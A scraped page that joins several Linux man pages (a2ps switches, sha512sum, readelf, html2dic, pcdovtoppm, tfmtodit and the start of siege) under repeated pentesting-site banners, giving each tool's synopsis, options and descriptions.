Switches ignored:
-GghKkmow -# -C -d -J -n -P -S -s -t -v

Switches added:

–add-to-space <units>
add the given number of 1/72" units to the width of each space (may be negative)

–add-to-width <units>
add the given number of 1/72" units to the width of each character (may be negative)

–columns <n>
print in <n> columns

–detect
treat the file as PostScript if it starts with %!

–first-page <n>
start printing at page <n>

–kern <file.afm>
kern using information from the given .AFM file

–last-page <n>
stop printing after page <n>

–(heading|footing)-(left|center|right) <string>
set the heading/footing fields; use -B first to clear

–margin-(top|bottom|left|right) <inches>
set a margin

–no-eject-(file|formfeed)
end-of-file/FF only starts a new column, not a new sheet

–spacing <n>
use double (n=2), triple (n=3), etc. spacing

Also, the string %# in a heading or footing is replaced with the page #.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1572 - Linux cli command sha512sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha512sum and provides detailed information about the command sha512sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha512sum.

NAME 🖥️ sha512sum 🖥️

compute and check SHA512 message digest

SYNOPSIS

sha512sum [OPTION]… [FILE]…

DESCRIPTION

Print or check SHA512 (512-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in FIPS-180-2. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

Full documentation <https://www.gnu.org/software/coreutils/sha512sum>
or available locally via: info ‘(coreutils) sha2 utilities’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1573 - Linux cli command x86_64-w64-mingw32ucrt-readelf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-readelf and provides detailed information about the command x86_64-w64-mingw32ucrt-readelf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-readelf.

NAME 🖥️ x86_64-w64-mingw32ucrt-readelf 🖥️

display information about ELF files

SYNOPSIS

readelf [-a|–all] [-h|–file-header] [-l|–program-headers|–segments] [-S|–section-headers|–sections] [-g|–section-groups] [-t|–section-details] [-e|–headers] [-s|–syms|–symbols] [–dyn-syms|–lto-syms] [–sym-base=[0|8|10|16]] [–demangle*=style*|–no-demangle] [–quiet] [–recurse-limit|–no-recurse-limit] [-U method|–unicode=method] [-X|–extra-sym-info|–no-extra-sym-info] [-n|–notes] [-r|–relocs] [-u|–unwind] [-d|–dynamic] [-V|–version-info] [-A|–arch-specific] [-D|–use-dynamic] [-L|–lint|–enable-checks] [-x <number or name>|–hex-dump=<number or name>] [-p <number or name>|–string-dump=<number or name>] [-R <number or name>|–relocated-dump=<number or name>] [-j <number or name>|–display-section=<number or name>] [-z|–decompress] [-c|–archive-index] [-w[lLiaprmfFsoORtUuTgAck]| –debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-wK|–debug-dump=follow-links] [-wN|–debug-dump=no-follow-links] [-wD|–debug-dump=use-debuginfod] [-wE|–debug-dump=do-not-use-debuginfod] [-P|–process-links] [–dwarf-depth=n] [–dwarf-start=n] [–ctf=section] [–ctf-parent=section] [–ctf-symbols=section] [–ctf-strings=section] [–sframe=section] [-I|–histogram] [-v|–version] [-W|–wide] [-T|–silent-truncation] [-H|–help] elffile

DESCRIPTION

readelf displays information about one or more ELF format object files. The options control what particular information to display.

elffile… are the object files to be examined. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

This program performs a similar function to objdump but it goes into more detail and it exists independently of the BFD library, so if there is a bug in BFD then readelf will not be affected.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option besides -v or -H must be given.

-a

–all

Equivalent to specifying –file-header, –program-headers, –sections, –symbols, –relocs, –dynamic, –notes, –version-info, –arch-specific, –unwind, –section-groups and –histogram. Note - this option does not enable –use-dynamic itself, so if that option is not present on the command line then dynamic symbols and dynamic relocs will not be displayed.

-h

–file-header

Displays the information contained in the ELF header at the start of the file.

-l

–program-headers

–segments

Displays the information contained in the file’s segment headers, if it has any.

–quiet
Suppress “no symbols” diagnostic.

-S

–sections

–section-headers

Displays the information contained in the file’s section headers, if it has any.

-g

–section-groups

Displays the information contained in the file’s section groups, if it has any.

-t

–section-details

Displays the detailed section information. Implies -S.

-s

–symbols

–syms

Displays the entries in symbol table section of the file, if it has one. If a symbol has version information associated with it then this is displayed as well. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

–dyn-syms
Displays the entries in dynamic symbol table section of the file, if it has one. The output format is the same as the format used by the –syms option.

–lto-syms
Displays the contents of any LTO symbol tables in the file.

–sym-base=[0|8|10|16]
Forces the size field of the symbol table to use the given base. Any unrecognized options will be treated as 0. –sym-base=0 represents the default and legacy behaviour. This will output sizes as decimal for numbers less than 100000. For sizes 100000 and greater hexadecimal notation will be used with a 0x prefix. –sym-base=8 will give the symbol sizes in octal. –sym-base=10 will always give the symbol sizes in decimal. –sym-base=16 will always give the symbol sizes in hexadecimal with a 0x prefix.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. This makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of non-ASCII characters in identifier names. The default (–unicode=locale or –unicode=default) is to treat them as multibyte characters and display them in the current locale. All other versions of this option treat the bytes as UTF-8 encoded values and attempt to interpret them. If they cannot be interpreted or if the –unicode=invalid option is used then they are displayed as a sequence of hex bytes, encloses in curly parethesis characters. Using the –unicode=escape option will display the characters as as unicode escape sequences (\uxxxx). Using the –unicode=hex will display the characters as hex byte sequences enclosed between angle brackets. Using the –unicode=highlight will display the characters as unicode escape sequences but it will also highlighted them in red, assuming that colouring is supported by the output device. The colouring is intended to draw attention to the presence of unicode sequences when they might not be expected.

-X

–extra-sym-info

When displaying details of symbols, include extra information not normally presented. Currently this just adds the name of the section referenced by the symbol’s index field, if there is one. In the future more information may be displayed when this option is enabled. Enabling this option effectively enables the –wide option as well, at least when displaying symbol information.

–no-extra-sym-info
Disables the effect of the –extra-sym-info option. This is the default.

-e

–headers

Display all the headers in the file. Equivalent to -h -l -S.

-n

–notes

Displays the contents of the NOTE segments and/or sections, if any.

-r

–relocs

Displays the contents of the file’s relocation section, if it has one.

-u

–unwind

Displays the contents of the file’s unwind section, if it has one. Only the unwind sections for IA64 ELF files, as well as ARM unwind tables (.ARM.exidx / .ARM.extab) are currently supported. If support is not yet implemented for your architecture you could try dumping the contents of the .eh_frames section using the –debug-dump=frames or –debug-dump=frames-interp options.

-d

–dynamic

Displays the contents of the file’s dynamic section, if it has one.

-V

–version-info

Displays the contents of the version sections in the file, it they exist.

-A

–arch-specific

Displays architecture-specific information in the file, if there is any.

-D

–use-dynamic

When displaying symbols, this option makes readelf use the symbol hash tables in the file’s dynamic section, rather than the symbol table sections. When displaying relocations, this option makes readelf display the dynamic relocations rather than the static relocations.

-L

–lint

–enable-checks

Displays warning messages about possible problems with the file(s) being examined. If used on its own then all of the contents of the file(s) will be examined. If used with one of the dumping options then the warning messages will only be produced for the things being displayed.

-x <number or name>

–hex-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple hex dumps.

-R <number or name>

–relocated-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. The contents of the section will be relocated before they are displayed. This option can be repeated multiple times on the command line in order to request multiple relocated dumps.

-p <number or name>

–string-dump=<number or name>

Displays the contents of the indicated section as printable strings. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple string dumps.

-j <number or name>

–display-section

Displays the contents of the indicated section according to its section header type. Sections containing relocations will be displayed as if the –relocations option had been used, sections contains symbols will be displayed as if the –syms option had been used and so on. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the input file(s). This option can be repeated multiple times on the command line in order to request multiple section dumps.

-z

–decompress

Requests that the section(s) being dumped by x, R or p options are decompressed before being displayed. If the section(s) are not compressed then they are displayed as is.

-c

–archive-index

Displays the file symbol index information contained in the header part of binary archives. Performs the same function as the t command to ar, but without using the BFD library.

-w[lLiaprmfFsOoRtUuTgAckK]

–debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

-P

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -wK option, and only sections requested by other command line options will be displayed.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–ctf-symbols=section

–ctf-strings=section

Specify the name of another section from which the CTF file can inherit strings and symbols. By default, the .symtab and its linked string table are used. If either of –ctf-symbols or –ctf-strings is specified, the other must be specified as well.

-I

–histogram

Display a histogram of bucket list lengths when displaying the contents of the symbol tables.

-v

–version

Display the version number of readelf.

-W

–wide

Don’t break output lines to fit into 80 columns. By default readelf breaks section header and segment listing lines for 64-bit ELF files, so that they fit into 80 columns. This option causes readelf to print each section header resp. each segment one a single line, which is far more readable on terminals wider than 80 columns.

-T

–silent-truncation

Normally when readelf is displaying a symbol name, and it has to truncate the name to fit into an 80 column display, it will add a suffix of [...] to the name. This command line option disables this behaviour, allowing 5 more characters of the name to be displayed and restoring the old behaviour of readelf (prior to release 2.35).

-H

–help

Display the command-line options understood by readelf.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1574 - Linux cli command html2dic

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command html2dic and provides detailed information about the command html2dic, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the html2dic.

NAME 🖥️ html2dic 🖥️

Dump word dictionary from html input file

SYNOPSIS

html2dic <file>

DESCRIPTION

html2dic extract all words from an HTML page, generating a dictionary of all word found, one word per line. Output is printed on stdout.

SEE ALSO

dirb(1),dirb-gendict(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1575 - Linux cli command pcdovtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pcdovtoppm and provides detailed information about the command pcdovtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pcdovtoppm.

.

NAME 🖥️ pcdovtoppm 🖥️

create index image for a photo CD

SYNOPSIS

pcdovtoppm [-m width] [-s size] [-a across] [-c colors] [-f font] [-b|-w] [pcdfile]

DESCRIPTION

This program is part of Netpbm(1) .

This program generates an index image in PPM format for a photo CD, based on the photo CD overview file.

You can achieve a similar result with hpcdtoppm -Overview followed by pnmindex -black on the generated PPM images.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pcdovtoppm recognizes the following command line options:

-wwidth
Maximum width of the result image (default: 1152).

-ssize
Maximum size of each of the images (default: 192).

-aacross
Maximum number of images across (default: 6).

-ccolors
Maximum number of colors, or n

to mean no quantization

-ffont
Font to be used for annotation (default: internal font).

-b
Black background color (default).

-w
White background color.

The Netpbm common options -version, -plain and -quiet were implemented starting with Netpbm 10.91 (June 2020). Before that, none of these options were valid.

EXAMPLES

pcdovtoppm -m 768 -s 96 -f smallfont.pbm overview.pcd > overview.ppm

pcdovtoppm /cdrom/photo_cd/overview.pcd | ppmtojpeg > overview.jpg

HISTORY

This program was formerly called pcdindex, which did not fit Netpbm naming conventions.

SEE ALSO

hpcdtoppm(1) , pnmindex(1) , ppmtojpeg(1) , ppm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pcdovtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1576 - Linux cli command tfmtodit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tfmtodit and provides detailed information about the command tfmtodit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tfmtodit.

Name

tfmtodit - adapt TeX Font Metrics files for use with groff and grodvi

Synopsis

tfmtodit [-s] [-g ** gf-file] [-k ** skew-char] tfm-file map-file font-description tfmtodit –help tfmtodit -v tfmtodit –version

Description

tfmtodit creates a font description file for use with

dvi output device. tfm-file is the name of the TeX font metric file for the font. map-file assigns groff ordinary or special character identifiers to glyph indices in the font; it should consist of a sequence of lines of the form

i c1 . . . cn

where i is a position of the glyph in the font in decimal, and c1 through cn are glyph identifiers in the form used by groff font descriptions. If a glyph has no groff names but exists in tfm-file, it is put in the groff font description file as an unnamed glyph. Output is written in

format to font-description, a file named for the intended groff font name.

If the font is “special”, meaning that groff should search it whenever a glyph is not found in the current font, use the -s option and name font-description in the fonts directive in the output device’s DESC file.

To do a good job of math typesetting, groff requires font metric information not present in tfm-file. This is because TeX has separate math italic fonts, whereas groff uses normal italic fonts for math. The additional information required by groff is given by the two arguments to the math_fit macro in the Metafont programs for the Computer Modern fonts. In a text font (a font for which math_fit is false), Metafont normally ignores these two arguments. Metafont can be made to put this information into the GF (“generic font”) files it produces by loading the following definition after cmbase when creating cm.base.

def ignore_math_fit(expr left_adjustment,right_adjustment) = special “adjustment”; numspecial left_adjustment16/designsize; numspecial right_adjustment16/designsize; enddef;

For the EC font family, load the following definition after exbase; consider patching exbase.mf locally.

def ignore_math_fit(expr left_adjustment,right_adjustment) = ori_special “adjustment”; ori_numspecial left_adjustment16/designsize; ori_numspecial right_adjustment16/designsize; enddef;

The only difference from the previous example is the “ori_” prefix to “special” and “numspecial”. The GF file created using this modified cm.base or exbase.mf should be specified with the -g option, which should not be given for a font for which math_fit is true.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-g* gf-file*
Use the gf-file produced by Metafont containing “special” and “numspecial” commands to obtain additional font metric information.

-k* skew-char*
The skew character of this font is at position skew-char. skew-char should be an integer; it may be given in decimal, with a leading 0 in octal, or with a leading 0x in hexadecimal. Any kerns whose second component is skew-char are ignored.

-s
Add the special directive to the font description file.

Files

/usr/share/groff/1.23.0/font/devdvi/DESC
describes the dvi output device.

*/usr/share/groff/1.23.0/font/devdvi/*F
describes the font known as F on device dvi.

/usr/share/groff/1.23.0/font/devdvi/generate/ec.map
/usr/share/groff/1.23.0/font/devdvi/generate/msam.map
/usr/share/groff/1.23.0/font/devdvi/generate/msbm.map
/usr/share/groff/1.23.0/font/devdvi/generate/tc.map
/usr/share/groff/1.23.0/font/devdvi/generate/texb.map
/usr/share/groff/1.23.0/font/devdvi/generate/texex.map
/usr/share/groff/1.23.0/font/devdvi/generate/texi.map
/usr/share/groff/1.23.0/font/devdvi/generate/texitt.map
/usr/share/groff/1.23.0/font/devdvi/generate/texmi.map
/usr/share/groff/1.23.0/font/devdvi/generate/texr.map
/usr/share/groff/1.23.0/font/devdvi/generate/texsy.map
/usr/share/groff/1.23.0/font/devdvi/generate/textex.map
/usr/share/groff/1.23.0/font/devdvi/generate/textt.map
map glyph indices in TeX fonts to groff ordinary and special character identifiers. ec.map is used for TREC, TIEC, TBEC, TBIEC, HREC, HIEC, HBEC, HBIEC, CWEC, and CWIEC; msam.map for SA; msbm.map for SB; tc.map for TRTC, TITC, TBTC, TBITC, HRTC, HITC, HBTC, HBITC, CWTC, and CWITC; texb.map for TB, HR, HI, HB, and HBI; texex.map for EX; texi.map for TI and TBI; texitt.map for CWI; texmi.map for MI; texr.map for TR; texsy.map for S; textex.map for SC; and textt.map for CW.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1577 - Linux cli command siege

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command siege and provides detailed information about the command siege, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the siege.

NAME 🖥️ siege 🖥️

An HTTP/FTP load tester and benchmarking utility.

SYNOPSIS

siege [options] siege [options] <URL> siege [options] -g <URL> siege [options] -f urls.txt

DESCRIPTION

siege is a multi-threaded HTTP/FTP load tester and benchmarking utility. It supports most of the features detailed in RFCs 2616 (HTTP) and 959 (FTP). Properties can be set both from the command line and in a configuration file. When the same property is set in both locations, the command line takes precedence.

The default configuration file is $HOME/.siege/siege.conf If you don’t have a $HOME/.siege directory and a siege.conf and cookies.txt file, siege will generate a new config directory when it runs. You can generate your config directory with the following command: siege.config

OPTIONS

Option Syntax

siege supports long and short options. Short options look like this: -c 25 -c25

Long options look like this: –concurrent=25

Option Values

-V, –version
Displays the siege release version and copyright information.

-h, –help
Prints a help message describing siege’s command-line options.

-C, –config
Prints a detailed summary of all the currently configured options, most of which are sent in $HOME/.siege/siege.conf

-v, –verbose
